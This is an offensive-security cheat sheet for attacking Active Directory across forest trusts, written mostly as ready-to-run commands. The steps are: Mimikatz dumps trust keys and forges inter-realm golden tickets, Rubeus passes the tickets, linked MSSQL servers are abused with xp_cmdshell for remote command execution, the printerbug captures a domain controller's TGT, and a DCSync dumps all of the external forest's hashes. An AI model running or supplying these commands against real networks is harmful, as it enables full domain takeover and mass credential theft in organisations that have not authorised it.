

CROSS FOREST ATTACKS CHEAT SHEET

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Cross Forest Attacks Cheat Sheet

What is it?

- **Cross Forest Attack:** When you have Domain Admin (DA) rights in one forest (Forest 1), which has a **bidirectional trust** with another forest (Forest 2), you can dump the **trust key** and forge your own **inter-realm TGT** (Ticket Granting Ticket).
- **Limitation:** Access to Forest 2 will be limited based on the permissions of your DA account in Forest 1.

Tools Used

Tool	Description
Mimikatz	For dumping the trust key and forging TGT (Golden Ticket).
Rubeus	For requesting TGS from external forest using a forged inter-realm TGT.

Steps for Attack

1. Dump The Trust Key Using Mimikatz

Command
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'

2. Forge An Inter-Realm TGT (Golden Ticket Attack) Using Mimikatz

Command
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain: /sid: /rc4: /service:krbtgt /target: /ticket:"'

- **Output:** The ticket is saved in .kirbi format.

Using Rubeus to Request TGS from External Forest

Command

```
.\Rubeus.exe asktgs /ticket: /service:"Service's SPN" /ptt
```

Abuse MSSQL Servers

Enumerating MSSQL Instances

Command

```
Get-SQLInstanceDomain
```

Check Accessibility of MSSQL Instances

Command

```
Get-SQLConnectionTestThreaded
```

```
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
```

Gather Information About MSSQL Instance

Command

```
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
```

Abusing SQL Database Links

What is it?

Database Links allow SQL Servers to access other resources (like other SQL Servers). If two SQL Servers are linked, you can execute stored procedures across forests.

1. Check For Existing Database Links

Command (PowerUpSQL)
<code>Get-SQLServerLink -Instance -Verbose</code>

Command (MSSQL Query)
<code>select * from master..sys.servers</code>

2. Enumerate Links Across Forests

Command (PowerUpSQL)
<code>Get-SQLServerLinkCrawl -Instance -Verbose</code>

3. Execute Commands On Linked Servers Using Xp_cmdshell

Command
<code>EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "SPN"</code>
<code>Get-SQLServerLinkCrawl -Instance -Query "exec master..xp_cmdshell 'whoami'"</code>

Breaking Forest Trusts

What is it?

- **Breaking Forest Trust:** If you have bidirectional trust and compromise a machine with **unconstrained delegation** (e.g., DCs have this by default), you can exploit the **printerbug** to force the DC of the external forest's root domain to authenticate to your machine.
- **Outcome:** Capture its **TGT**, inject it into memory, and perform **DCsync** to dump hashes for full access to the external forest.

Tools Used for Exploitation

Tool	Description
Rubeus	For monitoring TGTs and injecting captured TGTs into memory.
SpoolSample	For triggering the printerbug to force authentication.

Tool	Description
Mimikatz	For dumping hashes using DCsync.

Exploitation Example

1. Start Monitoring For TGTs Using Rubeus

Command
Rubeus.exe monitor /interval:5 /filteruser:target-dc

2. Trigger Printerbug To Force Authentication

Command
SpoolSample.exe target-dc.external.forest.local dc.compromised.domain.local

3. Inject Captured TGT Into Memory Using Rubeus

Command
Rubeus.exe ptt /ticket:

4. Dump Hashes Using Mimikatz (DCsync)

Command
lsadump::dcsync /domain:external.forest.local /all

Stay vigilant, stay ethical, and keep sharpening your offensive security skills, fellow hackers!